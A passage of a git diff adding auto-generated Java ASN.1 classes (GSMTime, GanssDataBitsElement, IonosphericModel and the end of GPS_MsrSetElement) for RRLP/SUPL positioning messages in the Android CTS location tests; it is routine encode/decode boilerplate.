+ private SeqOfGPS_MsrElement gps_msrList_;
+ public SeqOfGPS_MsrElement getGps_msrList() {
+ return gps_msrList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfGPS_MsrElement
+ */
+ public void setGps_msrList(Asn1Object value) {
+ this.gps_msrList_ = (SeqOfGPS_MsrElement) value;
+ }
+ public SeqOfGPS_MsrElement setGps_msrListToNewInstance() {
+ gps_msrList_ = new SeqOfGPS_MsrElement();
+ return gps_msrList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefFrame() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefFrame();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefFrameToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPS_MsrSetElement.refFrameType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refFrame : "
+ + getRefFrame().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsTOW() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsTOW();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsTOWToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSTOW24b.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsTOW : "
+ + getGpsTOW().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGps_msrList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGps_msrList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGps_msrListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfGPS_MsrElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gps_msrList : "
+ + getGps_msrList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refFrameType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refFrameType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refFrameType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refFrameType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refFrameType != null) {
+ return ImmutableList.of(TAG_refFrameType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refFrameType from encoded stream.
+ */
+ public static refFrameType fromPerUnaligned(byte[] encodedBytes) {
+ refFrameType result = new refFrameType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refFrameType from encoded stream.
+ */
+ public static refFrameType fromPerAligned(byte[] encodedBytes) {
+ refFrameType result = new refFrameType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refFrameType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPS_MsrSetElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GSMTime.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GSMTime.java
new file mode 100755
index 0000000..3aa0991
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GSMTime.java
@@ -0,0 +1,464 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GSMTime extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GSMTime
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GSMTime() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GSMTime;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GSMTime != null) {
+ return ImmutableList.of(TAG_GSMTime);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GSMTime from encoded stream.
+ */
+ public static GSMTime fromPerUnaligned(byte[] encodedBytes) {
+ GSMTime result = new GSMTime();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GSMTime from encoded stream.
+ */
+ public static GSMTime fromPerAligned(byte[] encodedBytes) {
+ GSMTime result = new GSMTime();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private BCCHCarrier bcchCarrier_;
+ public BCCHCarrier getBcchCarrier() {
+ return bcchCarrier_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BCCHCarrier
+ */
+ public void setBcchCarrier(Asn1Object value) {
+ this.bcchCarrier_ = (BCCHCarrier) value;
+ }
+ public BCCHCarrier setBcchCarrierToNewInstance() {
+ bcchCarrier_ = new BCCHCarrier();
+ return bcchCarrier_;
+ }
+
+ private BSIC bsic_;
+ public BSIC getBsic() {
+ return bsic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BSIC
+ */
+ public void setBsic(Asn1Object value) {
+ this.bsic_ = (BSIC) value;
+ }
+ public BSIC setBsicToNewInstance() {
+ bsic_ = new BSIC();
+ return bsic_;
+ }
+
+ private FrameNumber frameNumber_;
+ public FrameNumber getFrameNumber() {
+ return frameNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a FrameNumber
+ */
+ public void setFrameNumber(Asn1Object value) {
+ this.frameNumber_ = (FrameNumber) value;
+ }
+ public FrameNumber setFrameNumberToNewInstance() {
+ frameNumber_ = new FrameNumber();
+ return frameNumber_;
+ }
+
+ private TimeSlot timeSlot_;
+ public TimeSlot getTimeSlot() {
+ return timeSlot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TimeSlot
+ */
+ public void setTimeSlot(Asn1Object value) {
+ this.timeSlot_ = (TimeSlot) value;
+ }
+ public TimeSlot setTimeSlotToNewInstance() {
+ timeSlot_ = new TimeSlot();
+ return timeSlot_;
+ }
+
+ private BitNumber bitNumber_;
+ public BitNumber getBitNumber() {
+ return bitNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BitNumber
+ */
+ public void setBitNumber(Asn1Object value) {
+ this.bitNumber_ = (BitNumber) value;
+ }
+ public BitNumber setBitNumberToNewInstance() {
+ bitNumber_ = new BitNumber();
+ return bitNumber_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getBcchCarrier() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBcchCarrier();
+ }
+
+ @Override public void setToNewInstance() {
+ setBcchCarrierToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BCCHCarrier.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bcchCarrier : "
+ + getBcchCarrier().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBsic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBsic();
+ }
+
+ @Override public void setToNewInstance() {
+ setBsicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BSIC.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bsic : "
+ + getBsic().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getFrameNumber() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getFrameNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setFrameNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? FrameNumber.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "frameNumber : "
+ + getFrameNumber().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getTimeSlot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTimeSlot();
+ }
+
+ @Override public void setToNewInstance() {
+ setTimeSlotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TimeSlot.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "timeSlot : "
+ + getTimeSlot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitNumber() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BitNumber.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitNumber : "
+ + getBitNumber().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GSMTime = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GanssDataBitsElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GanssDataBitsElement.java
new file mode 100755
index 0000000..74d5b3d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GanssDataBitsElement.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GanssDataBitsElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GanssDataBitsElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GanssDataBitsElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GanssDataBitsElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GanssDataBitsElement != null) {
+ return ImmutableList.of(TAG_GanssDataBitsElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GanssDataBitsElement from encoded stream.
+ */
+ public static GanssDataBitsElement fromPerUnaligned(byte[] encodedBytes) {
+ GanssDataBitsElement result = new GanssDataBitsElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GanssDataBitsElement from encoded stream.
+ */
+ public static GanssDataBitsElement fromPerAligned(byte[] encodedBytes) {
+ GanssDataBitsElement result = new GanssDataBitsElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SVID svID_;
+ public SVID getSvID() {
+ return svID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setSvID(Asn1Object value) {
+ this.svID_ = (SVID) value;
+ }
+ public SVID setSvIDToNewInstance() {
+ svID_ = new SVID();
+ return svID_;
+ }
+
+ private Seq_OfGANSSDataBitsSgn ganssDataBitsSgnList_;
+ public Seq_OfGANSSDataBitsSgn getGanssDataBitsSgnList() {
+ return ganssDataBitsSgnList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Seq_OfGANSSDataBitsSgn
+ */
+ public void setGanssDataBitsSgnList(Asn1Object value) {
+ this.ganssDataBitsSgnList_ = (Seq_OfGANSSDataBitsSgn) value;
+ }
+ public Seq_OfGANSSDataBitsSgn setGanssDataBitsSgnListToNewInstance() {
+ ganssDataBitsSgnList_ = new Seq_OfGANSSDataBitsSgn();
+ return ganssDataBitsSgnList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svID : "
+ + getSvID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssDataBitsSgnList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssDataBitsSgnList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssDataBitsSgnListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Seq_OfGANSSDataBitsSgn.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssDataBitsSgnList : "
+ + getGanssDataBitsSgnList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GanssDataBitsElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/IonosphericModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/IonosphericModel.java
new file mode 100755
index 0000000..c053b3e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/IonosphericModel.java
@@ -0,0 +1,1293 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class IonosphericModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_IonosphericModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public IonosphericModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_IonosphericModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_IonosphericModel != null) {
+ return ImmutableList.of(TAG_IonosphericModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new IonosphericModel from encoded stream.
+ */
+ public static IonosphericModel fromPerUnaligned(byte[] encodedBytes) {
+ IonosphericModel result = new IonosphericModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new IonosphericModel from encoded stream.
+ */
+ public static IonosphericModel fromPerAligned(byte[] encodedBytes) {
+ IonosphericModel result = new IonosphericModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private IonosphericModel.alfa0Type alfa0_;
+ public IonosphericModel.alfa0Type getAlfa0() {
+ return alfa0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a IonosphericModel.alfa0Type
+ */
+ public void setAlfa0(Asn1Object value) {
+ this.alfa0_ = (IonosphericModel.alfa0Type) value;
+ }
+ public IonosphericModel.alfa0Type setAlfa0ToNewInstance() {
+ alfa0_ = new IonosphericModel.alfa0Type();
+ return alfa0_;
+ }
+
+ private IonosphericModel.alfa1Type alfa1_;
+ public IonosphericModel.alfa1Type getAlfa1() {
+ return alfa1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a IonosphericModel.alfa1Type
+ */
+ public void setAlfa1(Asn1Object value) {
+ this.alfa1_ = (IonosphericModel.alfa1Type) value;
+ }
+ public IonosphericModel.alfa1Type setAlfa1ToNewInstance() {
+ alfa1_ = new IonosphericModel.alfa1Type();
+ return alfa1_;
+ }
+
+ private IonosphericModel.alfa2Type alfa2_;
+ public IonosphericModel.alfa2Type getAlfa2() {
+ return alfa2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a IonosphericModel.alfa2Type
+ */
+ public void setAlfa2(Asn1Object value) {
+ this.alfa2_ = (IonosphericModel.alfa2Type) value;
+ }
+ public IonosphericModel.alfa2Type setAlfa2ToNewInstance() {
+ alfa2_ = new IonosphericModel.alfa2Type();
+ return alfa2_;
+ }
+
+ private IonosphericModel.alfa3Type alfa3_;
+ public IonosphericModel.alfa3Type getAlfa3() {
+ return alfa3_;
+ }
+ /**
+ * @throws ClassCastException if value is not a IonosphericModel.alfa3Type
+ */
+ public void setAlfa3(Asn1Object value) {
+ this.alfa3_ = (IonosphericModel.alfa3Type) value;
+ }
+ public IonosphericModel.alfa3Type setAlfa3ToNewInstance() {
+ alfa3_ = new IonosphericModel.alfa3Type();
+ return alfa3_;
+ }
+
+ private IonosphericModel.beta0Type beta0_;
+ public IonosphericModel.beta0Type getBeta0() {
+ return beta0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a IonosphericModel.beta0Type
+ */
+ public void setBeta0(Asn1Object value) {
+ this.beta0_ = (IonosphericModel.beta0Type) value;
+ }
+ public IonosphericModel.beta0Type setBeta0ToNewInstance() {
+ beta0_ = new IonosphericModel.beta0Type();
+ return beta0_;
+ }
+
+ private IonosphericModel.beta1Type beta1_;
+ public IonosphericModel.beta1Type getBeta1() {
+ return beta1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a IonosphericModel.beta1Type
+ */
+ public void setBeta1(Asn1Object value) {
+ this.beta1_ = (IonosphericModel.beta1Type) value;
+ }
+ public IonosphericModel.beta1Type setBeta1ToNewInstance() {
+ beta1_ = new IonosphericModel.beta1Type();
+ return beta1_;
+ }
+
+ private IonosphericModel.beta2Type beta2_;
+ public IonosphericModel.beta2Type getBeta2() {
+ return beta2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a IonosphericModel.beta2Type
+ */
+ public void setBeta2(Asn1Object value) {
